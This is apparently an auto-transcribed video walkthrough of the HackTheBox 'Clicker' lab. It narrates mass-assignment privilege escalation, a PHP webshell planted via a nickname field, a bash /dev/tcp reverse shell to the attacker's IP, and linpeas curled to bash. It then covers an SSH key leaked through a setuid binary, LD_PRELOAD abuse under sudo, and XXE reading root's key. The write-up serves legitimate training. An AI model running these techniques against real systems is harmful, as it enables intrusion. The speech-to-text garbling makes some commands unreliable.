text: what's going on YouTube this is ipac we're doing Clicker from hack the box which starts out with just a Cheesy webbased game where you can click a mouse and get points the first vulnerability in it is a mass assignment which you'll use multiple times but the first time you use it you just change your user over to the administrator level from there you can now export the leaderboard to a file on the server and you can also use the mass assignment vulnerability to change your name to be a PHP shell so when you export the leaderboard now you're dropping some PHP code that enables you to get a shell on the machine from there there is a set uid binary that lets you run as a different user it has a file disclosure vulnerability so you can leak the SSH key and gain access as Jack who can then use pseudo with setting environment variables and the script that he uses actually runs curl so the intended way

title: HackTheBox - Clicker


text: is you create a environment variable to proxy curl to yourself and that'll enable you to perform a XML and injection attack however you can set any uh any variable pretty much so you can just set LD preload and get code execution right away that being said let's just jump in as always we're going to start off with an end map so- SC for default scripts SV enumerate versions O A up all formats put in the end map directory and call it clicker then the IP address of 1010 11232 this can take some time to run so I've already ran it looking at the results we have quite a bit information going on here so let's just look at it uh the first thing we have is SSH on Port 22 and its Banner tells us it's an auntu server we also have http on Port 80 it's Baron tells us it's Apache also running on Ubuntu and we have it

title: HackTheBox - Clicker


text: redirecting us to clicker htb so I'm going to go ahead and add this really quick to my host file so V host and we can add 10 10 11232 clicker htb okay and then the next thing we have open is RPC on Port one 11 and whenever I see this on Linux the most common thing is always going to be NFS and it looks like it is direct directing us to 2049 NFS we can see that Port is also open if you don't know RPC I think this is pretty much just going to be like a port mapper so we connect to it it tells us various um services that are listening um it's used a lot on just some protocols um and it looks like NFS is allowing us to use protocol or version number three or four uh if you don't know what NFS is it is a network file server it's just a way to share files remotely think of it like SMB on Linux right so the First Command

title: HackTheBox - Clicker


text: I always run to enumerate this is going to be a show Mount command so we do show Mount 10 10 11232 and we see nothing if anyone had this server mounted their IP addresses would be showing up showing up here and if you don't have this command you can always run like an app cach search on show Mount if you're on a Deb and BAS system and tell you what package it is on parrot is NFS common I think I've seen it on like NFS util but that may be like a centers Red Hat Thing um so the next thing we want to do is show all the shares available and an NFS terms that is called exports so it's A- e so do 10 10 11 to 32 and we see the share Mount backups is available for everyone so let us do a pseudo Mount and then- tnfs specify the IP address of 1010 11232 Mount backups and then the directory we want to mount it to I'm going to mount it to um MNT but first let's just make sure this

title: HackTheBox - Clicker


text: directory exists in here and since it is version three it is vulnerable to like client uid spoofing which just means um NFS doesn't really have good ACLS at least in version three it depends on the client so when I go in this if I wanted to um modify this it's possible that I could just do a su and I'll become root and then when my NFS client sends my um user ID over to the server it's going to allow me access because there's no checking there um I go over that quite a bit in the jail video which is an oldie but goody so definitely recommend watching that if you want to see more NFS Shenanigans I'm going to download this file so we download clicker htb backup and we'll unzip it and see what is in here and I guess before we go that um we could attempt to do that client uid spoofing so if I do a

title: HackTheBox - Clicker


text: su uh let's do pseudo Su go into Mount touch test can we write here it looks like it is a read only file system um actually Mount uh we got to you mount it because I think by default if I just do Mount real quick uh we can see version 4.2 which does not have have that uid spoofing vulnerability so let's do a ount on Mount and we can do a m-t NFS o Verge equals three I always like adding the our W flag for read white uh read right and then let's do uh 1010 11 232 Mount backups Mount LS Mount so we can go in here touch test it is still saying read only file system so there's probably some type of configuration in play that is preventing us from accessing it we could just try one more thing that I don't think I've shown in a video um muik wrote a pretty cool NFS client and go and the cool thing about this is um normally when you do like a pent test

title: HackTheBox - Clicker


text: and you land on a Windows box and you want to exploit a NFS server it's relatively tough at least until this binary which is I think why he made it because you don't have a good NFS client that's capable of spoofing but this works pretty well so let's just download that and show it we don't have to be root so let's W get this and I'm just going to call it NFS client and I don't think this is going to work but whenever like I'm trying something I don't understand why I'm getting a permission error um I like switching out and using a second tool to just validate it right so we need to specify the host so 10 10 11232 the access level we'll do root 0 0 and then the command I'll just do LS slash uh we need the mount path Mount backups uh permission denied I think we have to run this as root we do so we

title: HackTheBox - Clicker


text: have that working you can go and look at the other commands this supports we want to just see if we can write files I'm going to try like a make dur command so we can do do makeer test and we get an error NFS read only file system so it looks like NFS itself is just configured to be readon so there's going to be no vulnerabilities in NFS at all so I think we've done a good job enumerating that right so pretty cool to always do things with two clients we have unzipped the zip so let's take a look at what it is and it looks like uh ZIP to a web server if we do lsla we don't have that much so I'm guessing the next step is going to be some type of code analysis but before I jump into code analysis I always like taking a look at the web server itself so I know what code I am looking at right so let's go to 101

title: HackTheBox - Clicker


text: 11232 it's going to redirect us to clicker htb and we see it is a video game it looks like clicker the game The Ultimate Experience join countless players and playing the most amazing game ever how many clicks can you get so let's go I guess register um I'm going to do IPC password I guess we go to info it looks like it's just reviews let's go to login ipac password and now we have a profile so we can see our profile and there's also a play link if we click here it's just keeping track of our clicks and we can level up we can save and close and it looks like our game has been saved so if I click it again I start where I am whoa I don't know what just happened here but now my click's like I'm getting five per click that is bizarre maybe that's a level up okay yeah when you level up you get more clicks okay so we kind of understand the

title: HackTheBox - Clicker


text: game silly but okay let's open up visual studio code now and this is going to let us just quickly scan for vulnerabilities with sneak and then we'll also be able to um look for other things right so let's see we have the code security it looks like it is scanning kind of curious about this if we go to info.php okay so it's not doing any type of um like framework it's just draw PHP let's go to sneak and see bootstrap that's not going to be useful we have admin to vulnerabilities looks like x xss uh cross-site scripting cross site scripting cross site scripting cross site scripting cross site scripting DB utils hardcoded credentials uh clicker DB password clicker DB user and then we do my SQL diagnostic password hash see I don't know what this is what is this hash I'm going to Google this because it's just

title: HackTheBox - Clicker


text: md5 so if we Google this hash what does it reverse to it looks like this Echo dasn md5 sum that's not what it is oh okay I think it was like someone like Google indexed the page crawling itself that was weird so that is not right um doesn't look like we get anything so that's not there and what would this do even it would allow us to hit diagnostic PHP which has some XML stuff so this would be probably XML any injection I'm guessing not sure so sneak doesn't really tell us that much let's just go look at the code so where are all the places we have user input um when we register right so let's look at the registration uh let's see where is the PHP code here uh it's probably under create player I'm guessing so we send username password so it looks like um the usame has to be alpha numeric so we know that

title: HackTheBox - Clicker


text: it checks if it exists and then we create new player and it only creates it with username and password so what I was looking for here is some type of like Mass assignment vulnerability right if it just did like PHP input or something I think that's how you do it in PHP then we vulnerable to mass assignment because we could put various um things in there right because it' just be looping over so let's look at this prams player this is all um prepared statements so nothing there let's see what other things there are are we ever using this DB uh PDO prepare with out prepared or without like this we're looking for whenever a variable gets passed into PDO prepare because that becomes interesting to us not there and we found one on the prepare statement here we have set string being passed and then this looks like it's going against our player so let's see

title: HackTheBox - Clicker


text: what this is um params we assign our player set set string we're going to Loop over all the arguments and then create a thing okay so let's look at what call Save profile this is looking like it could be Mass assignment let's see so on this save session this is where it gets called we're going to send all the keys we're going to look for a key that equals and if it does it's going to say malicious activity detected we have that right here so I'm guessing what we want to do is be able to get our key in here right because what the set statement is going to be doing is actually um I'll do it Beyond route and we'll go over this more in depth we'll do that right after we exploit it uh because all this is doing is essentially like set setting our variable so if we put Ro equals admin here then it would set a ro to admin where it is player

title: HackTheBox - Clicker


text: right so we'll go more in depth than that in a little bit let's see do we have what roles there are let's go find in files Ro so we want admin with a capital A it looks like so there's going to be let's see probably two ways we can get about this um we're going to do the easier way first so if we look at save profile whoops M thing it is looking for when um roll is equ when the variable Ro is set so if we create a game name let's send it over to burp suite and go to proxy intercept on Save and close go to repeater so this is where we save and it's taking all these variables and putting it in that update command so if I did roll is equal to admin like this it's going to redirect us we're going to follow the redirection and it should say malicious activity detected so that did not work but the one really cool thing is anything we put here is going to be

title: HackTheBox - Clicker


text: checked against that right we just want this piece to not equal Ro and this gets fed over into a SQL statement right so we go here we send all the arguments over to the save profile and SQL statements are generally terminated like by a semicolon so what we could do is put a line break in there right because if we did um like a select star from and then users like this query is the same as if we didn't have a line break so I think that's why this works so let's go back to burp suite and we're going to say roll percent 0a because that is line break and hex we're going to send this request we can follow the Direction and we see game has been saved here so if we go back let's turn our proxy off go back to click. htb we don't have anything here but generally speaking when um you log in that's when it signs all your groups right so let's log in

title: HackTheBox - Clicker


text: again since now a role theoretically is admin so we'll do ipac and password then medication failed I wonder if something deleted my IPC user like it could be a self-healing script let's try this again let's register ipac password we logged in or registered IPC password and there was a check if user existing right so unless we deleted our user um it definitely got deleted out of the database so let's go back here here save this refresh this page control shifter for good measure we still don't have a like anything different here if we log in let's do IAC password now we have an Administration page what's going on this is it from the future and the whole bypassing this check here by putting a line break was unintended the intended way is still similar you're still updating your role but you're doing so in a way where your

title: HackTheBox - Clicker


text: key is never set to roll you actually put roll equals admin in the value itself so let's go take a look at this real quick if we go to save profile we're going to inject in this set St variable um because there's no it's not parameterized it's just a raw string here right so this is kind of like a mass assignment so so here we're going through each argument and building a query and it's hard to just visualize what's going on here so I'm going to put a echo statement here so if we Echo set string and then hit this again whoops we actually want to go to update roll we just get a 302 found uh oh silly me we have to actually put this in the server right because that's a local copy so let's go to save profile there we go and let's see that's say my roll admin I don't want that is it user what does this direct doing

title: HackTheBox - Clicker


text: malicious activity awesome oh because I have R equals okay that's better so what I want to do is make sure I'm not an admin real quick so we log in IPC password I have not an admin that is good and we can see the SQL query down here so what we want to do is uh let's see what's a good way to explain this so if I did percent D here or 3D which is the URL encoded equal sign 3 D this is now the key right so what we could do is say R percent 3D is equal to so we don't do equal so R is equal to admin and then comma clicks is equal to all nines so when I run this query this is what the set command looks like and we're going to bypass the previous check because it sees this as the key or this as the key yeah so at no point is um just role in this key right it is this entire thing and then this is the value of that key

title: HackTheBox - Clicker


text: but the SQL statement sees it that way right so if we look at the query if we go here this is where the query is so we're going to update the players table we're going to set Ro is equal to admin clicks is equal to all nines level is equal to leite where username is equal to my ID so that's what this query did so we sent that we log out we log in IP password and we're back to administrator so that is the intended way kind of like a mass assignment vulnerability with a small twist but um let's get back to the present time and enumerating what is on this Administration page so this Administration page enables us to I guess view the leaderboard um we can probably get our username up here if we played the game so let's go back here uh we can do play and I'm just going to we probably even have to play we could probably just

title: HackTheBox - Clicker


text: do clicks a bunch of nines right we no longer need do this roll thing uh we can also do level let's do Elite level so now if I go back here do I see my name I do awesome so if we click on export or thing we see text Json HTML if I export here it's going to save that in a file right so if I look here we have this so the first thing we want to do is see if this is a um user controlled thing right if there's no validation on the extension in the database then we can make a PHP file and then we just to figure out a way to get PHP on this so back to to the source code let's look at admin.php and let's see Administration pane where is export so it looks like export. PHP it calls then let's see here we go so post extension post extension equals Json it doesn't look like there's validation um they do some things like

title: HackTheBox - Clicker


text: if it's tax it'll do this if it's Json it'll encode it but I don't see anything actually saying like if it doesn't equal text Json or I forget the other one HTML then do nothing so we should be able just to like write PHP we can test it out real quick let's go to burp Suite intercept we'll just export this put the extension to PHP for this and we see it created a PHP file for us so we go to exports uh whoops I only copied the file name there we have it so what we really want to do now odly enough I'm here twice don't understand that but okay um so we want to figure out how this table is generated I guess so let's see if we go to admin looks like we have nickname clicks and level and it's calling this get top players function so if we look at this it's going to select whoops select nickname and clicks from players so

title: HackTheBox - Clicker


text: where is nickname that is not something I've seen before whoops I want to do edit finding files nickname that is part of the session okay so it's going to probably be the same thing we did here um let's go back a few there we go we can put these back so I still have a high score so instead of doing roll I'm going to call this update roll and this one will be set neck name so since this is like our Mass assignment where we can just edit fields in the database for a user I'm going to try nickname is equal to Please Subscribe save this refresh this page and we see my nickname is now please subscribe so we can put anything we want here so let's try putting some PHP so I'll do PHP system and then we'll say anything in this request object CMD okay so all this means is it can be a post or um a get request so let's yur encode this we will

title: HackTheBox - Clicker


text: send it if we refresh we don't see anything there but if I dok CMD equals ID uhoh I thought we would see something oh we have to export it um so let's uh let's intercept a request sent to repeater extension PHP we can forward this I just want to put it in repeater in case we have to do this again so we see it was saved in this file let's try accessing it so HTTP clicker htb exports this CMD equals ID there we go this failed because we didn't have like a check if ID is set so there's actually a PHP error that we just can't see but if we do CMD ID we can see we have successfully executed code so let's go ahead and turn intercept on refresh this page I'm going to send it to repeater this will be export PHP we'll call this one shell and the reason why I always like just sending it to repeater is so I can put it in a post request because I find post request so much more stable when doing this than a

title: HackTheBox - Clicker


text: get request uh so let's do b-c b-i Dev TCP 10 10 148 9,1 0 and one like that your encode this because the bad characters going to be the Ampersand or the and signs because that's how post request um terminate a like argument right to go to the next variable so we definitely have to URL encode those and now we should be able to do NC lvmp 90001 send this and we got the shell so let's do a python 3-c import PTY pt. spawn bin bash okay stty raw minus Echo foreground and then we can export term is equal to X term so we can now clear the screen so the first thing I want to do is just check out the database so we know it was hardcoded I want to say it was in DB utils so let's take a look at that and it looks like that's actually the password still I thought this was just like a generic thing we had in our

title: HackTheBox - Clicker


text: source code but okay so by SQL d U clicker DB user- P we'll put in the password and then let's do show databases use clicker show tables oh only one thing select start from players and I'm guessing these are 512 hashes maybe let's see hash identifier there's got to be an online service that does this so hash analyzer try this analyze it shot 256 so we could search this hash to see if we have anything it doesn't look like anything comes up so let's now uh see what else we have on this um let's see I think I'm just going to let's go to the home directory first uh we're not a member of the Jack group so we can't go in here let's just run Lin peas it's been a while since we ran Lin peas and I always love running that on this so let's CP op what do I call it PE LM peas. sh that's a makeer dubdub dub move lp. sh in here

title: HackTheBox - Clicker


text: I think I copied it up One Directory whoops and dub dub dub Python 3 HTP server Cur 10 104 8 8,000 Lin peas. sh pipe it over to bash and we will come back when this finishes running okay Lin peas finished running so let's go to the top I'll go back to my curl command and we can begin looking at it looking at exploit suggestor this is always my last call um these are very old cves I highly doubt that would be the vector and I'm going to copy that so we can just search on that little bar makes it a bit easier to navigate down so cleaned processes this is just looking for weird processes and of course a reverse shell is a bit weird um going down just really looking for where it looks interesting uh timer files socket files nothing interesting interfaces ports I guess we could look at all the ports and remember

title: HackTheBox - Clicker


text: we already kind of enumerated NFS so that's why I'm not going there uh no TCP dump users log on time my SQL version nothing interesting so far HD passwd but this looks like it's just in some test files so not interesting to us um rsync looks like that's a example config NFS export this is where we see it being exported odly enough it says read WR but it was definitely read only it's probably like mounted read right in the or read only in like the NFS config or something postfix DNS okay I always like looking at set uids we do have a unknown set uid binary this is opt manage execute query owned by Jack so this is probably where we want to start that'll get us over to the Jack user because when it's set u ID that just means um you can execute it as that user I don't know what WR do what this is wr. that is

title: HackTheBox - Clicker


text: weird Google it's a BSD extra thing in Debian testing okay so this is definitely non-standard so let's take a look at this do lsla on it uh we can go into this directory opt manage and let's see there is a read me so use a binary to create the following task uh create database structure fake players reset the admin password delete all users so if we execute it uh we need arguments so we execute with one it's putting a password on my SQL and just doing things go for so that's deleting non-admin players if we do five we get to a T fault which is interesting so I'm going to download this binary and then we can open it up in gidra to look at it you could probably figure this out through fuzzing but no reason not to use gidra here so let's C this binary over to Dev TCP 101048 90001 and we'll direct this to execute

title: HackTheBox - Clicker


text: query okay send the file let's md5 sum both ends f09 f09 NS in 81 NS in 81 so we have the binary okay so let's go opt gadra gedra run and wow my size is pretty big the font size I forget exactly how I had this configured new project doesn't really matter I'm not going to save this open this up okay so let's hit I then we can open the execute binary binary or execute query binary and analyze it select all analyze okay so let's go to the exports we got Main and we can see what it's doing so the first thing I like looking for is if we executed the binary or we can C the read me it had a menu of just options right 1 2 3 4 and that's what we see here we have um case one it's going to copy create. SQL onto PC ver 3 it's going to copy populate SQL onto this variable so this is what we see it doing here

title: HackTheBox - Clicker


text: so if it doesn't match any of these cas so if it's not 0 through it's just going to copy the parameter on the stack so we can say PC V3 um let's rename this I hit L I'm going to call this file name because these all look like file names to me right see what is this Local 98 that is a string that's home then ja so that's home jck query queries so what this string is doing it's building home Jack queries so star Len so this is going to uh prepend I think home Jack queries onto the file name maybe it's what it's going to do here s cat 98 so we can say this will be bopath okay and then this this is user bin MySQL - uh this is going to be the clicker user so this is running the myql command how does this terminate uh let's see is there a better way to do this U let's see there's probably better way I could

title: HackTheBox - Clicker


text: just redefine this so it says the full string right oh well not exactly sure but that's executing my SQL putting the password there and we C the file and read it so that is doing system on file name but it doesn't have the path there I'm guessing we prepended the path somewhere I missed it so let's try this out let's try to read a file um so as long as we don't specify 0 through four let's just do n then we're going to hit this default and that's going to allow us to specify a file so I'll do ety passwd file not readable so it was in home Jack queries is what we said so let's go up three directories so we can go one two three and we get the passwd file so my bet is let's try um reading a file let's do temp oh I'm not going to do H maybe I can do no I'm scared of doing temp whenever I'm a like reverse

title: HackTheBox - Clicker


text: shell because of the whole like private temp in system D I'm always terrified of using temp directories so I'm going to drop this where is a good World writable Place uh we can write to ver dub dub HTML touch test can't touch there uh we can do let's just look at shm real quick no sued okay the thing I was scared about of Dev shm is it having no exec which could prevent some things but it does not so I'm going to call shell.

title: HackTheBox - Clicker


text: sh let's just do please subscribe and then I want to make sure we can read this so Dev shm shell. sh we have to do opt then manage what is Monitor dsh file not readable or found opt manage execute query ety passwd you read that devm shell. chod 777 shell. not sure why I can't find that directory or that file see ver dubdub dub let go ver dubdub dub HTML oh we couldn't write here clicker we know we can write to exports because that's where this thing writes right so touch please subscribe.

title: HackTheBox - Clicker


text: sh we can just do opt manage execute query oh this TTY is going to be horrible um st- a st2 rows 28 columns 110 there we go so now when I like go off the screen it'll actually wrap down so up manage execute let's do nine one 2 three we can do ver dubdub dub clicker h htb exports shell. we call it please subscribe. so we still can't read this I don't know why we could read Etsy pass WD if we go up too far it looks like we get a weird error okay so the other thing we can do is probably get like an SSH key um it's in home Jack s uh we want to get to that directory we are in this directory so I'm just going to go up one directory so we go to SSH right so we do one up SSH ID RSA and we have a key so let's copy this SSH key okay V I'll call it Jack pasted in sod 600 Jack 10 11 232 in val key format okay you do five dashes before and after

title: HackTheBox - Clicker


text: this so for some reason the format was just broke there it's odd that those dashes actually matter um okay we did not specify the username here and it looks like we got in awesome so we can see the queries directory we go in here these are going to be all the file names that was in that binary so now if we do a pseudo- l we can see Jack can run anything so if we do pseudo Su we get a password because no passw isn't set here it's not that easy but we can execute things as root as long as we hit opt monitor. sh and we have this set end thing which means we can pass environment variables over to this so if we look at op monitor. SSH we see um it's making sure we're running this as pseudo then we're going to set the path it's going to unset these um variables then we're going to curl this diagnostic PHP and that md5 something

title: HackTheBox - Clicker


text: was the secret diagnostic token so that's what um let's see do we have it up still we go to diagnostic that's what this hash is okay and then we're going to pipe that data into the XML processor and that's about it so there's a really fun unended here is because we um have this whole set M thing here we can put any environment variable we want such as like LD pre-o right that's we got end reset here and that's what normally prevents this because when we run pseudo it's going to reset the environment however this allows us to change the environment so we can set LD preload which which means we can do a lot of dirty things so I'm going to check if GCC exists it does not let's go over to my machine um let's make um exploit we'll call it um yeah we'll just call it exploit. C right so let's create a

title: HackTheBox - Clicker


text: function I'm going to use underscore anit because this gets loaded whenever the library is loaded um because of that we definitely want to make sure we unset this before we um call or binary right because if we didn't do this then whatever we're injecting like the LD preload binary is going to call Shell which then because LD preload is set it's going to call Shell and then because LD preload is set it's going to call Shell I'm going to get into this like um infinite Loop or nesting whatever because of this right if you don't know what LD preload is I think it's like Linker Dynamic so whenever a non statically compiled binary executes it'll load this binary that lets you override functions um we didn't have to do a nit we could just like override the put function so when it wrot to screen or something then we execute um I guess

title: HackTheBox - Clicker


text: a legitimate use case of LD preload is similar to proxy chains even though it's not using LD preload proxy chains you execute it and it's hijacking that Dynamic Linko process in order to overwrite any web call so it can redirect the web call to itself to set the proxy that's how proxy chains works and why proxy chain doesn't work on goang binaries because goang is statically compiled so that's essentially what we're doing we're just hijacking the function so whenever a library is loaded or this one is loaded it's going to call Bin bash and if you go to ic. ro and search it um I'm sure I have more topics on LD preload so let's now include this is standard lib there we go that looks good so we can say GCC we'll do- shared because it's a library we'll call it exploit uh okay so we're multiple defining a nit because the compiler

title: HackTheBox - Clicker


text: added a nit for us U we want Dash no start files because we don't want it to do that and there we go compiled without error and without warning too which is awesome so let's copy exploit to dubdub dub then we can go Dev shm let's download this so WG 101048 8,000 exploit I should still have that web server running I do so we have the binary here so if we do pseudo- L we can do a pseudo opt monitor. sh it's going to execute because set en is there we can say LD preload and say load the exploit Library we probably should have named it so or something but oh well we do this and immediately we get root so that is the unintended way um what exit no really exit no really exit oh my God there we go um so what was happening there is because we injected LD preload let's see or how we did that because we did it like anytime a binary executed would hit

title: HackTheBox - Clicker


text: our function right and we unset the LD preload M but it only unset it for that load when we were executing bash right so we probably loaded here um no we loaded in curl we loaded in this XML we loaded in date we may have loaded an echo but I don't think that I think that's statically compiled but we kept loading in all these locations which is um why you saw that shell happen multiple times if we didn't put that unset LD preload m in there who knows what would have happened all chaos right so if you override theit function to do that make sure you unset it so let's see let's go to the intended way I say it was only slightly different because we're still injecting a variable right I mentioned this is probably going to be vulnerable to XML and the injection so how can we get data in here we could

title: HackTheBox - Clicker


text: look at like trying to modify the database but if we look at this diagnostic function nothing really Dynamic is there so we can't change um the data is it where is it diagnostic we do this timestamp date PHP version so since we can't really change the data by manipulating the database we could inject a proxy here so curl now comes to us and then instead of saying um let's get rid of this LD preload instead of saying here's this XML we can replace it with whatever XML we want right so let's do that the first step is get a proxy running so let's go back to burp Suite proxy settings we'll edit this and change it to listen on all interfaces this way the server can hit our proxy right so now let's do pseudo then specify HTTP proxy is equal to http oh not Local Host 10 104 8 8080 we intercepting we we are 10 10 14 8 80

title: HackTheBox - Clicker


text: 80 it's up oh I think curl is Cas sensitive on variable names it's really annoying I think it's all lower case there we go it's hung so we see the server is requesting this so if I go here intercept the response to this request now we have the XML data right so all we have to do is put our XML and the injection in here so we can probably get rid of this then let's go over to Hax to get a proof of concept so we can say XML any injection read file hack Trix go over here and let's see I like just searching for like Etsy pass because that's the example that's used often right oh man where'd it go let see pass WD there we go so let's try copying this and see if it works so we can put that there then this we already had data so we can whoops let's get rid of one data we going to put this on my clipboard

title: HackTheBox - Clicker


text: forward and we have pass WD here actually we don't need data at all um so let's intercept on run this again want to intercept response so we can grab the key let's change this try root sh ID Orsa so again if you're not familiar with any injection all we're doing um essentially is creating a XML object that says uh get this file and then this data is where we injected to that's a horrible example um just go to i.r search XML any injection and I'm sure it will be a little bit better explanation than that or you can just Google XML andd injection right I'm assuming you know I don't need to spend five minutes explaining every concept but there we go we have the SSH key as root so let's trying out V root paste chod 600 root sh- I root at 10 10 11 to 32 uh we need to specify the key file and there we go we have rooted the

title: HackTheBox - Clicker


text: box with both the unended and intended way hope you guys enjoyed that take care and I'll see you all next time

title: HackTheBox - Clicker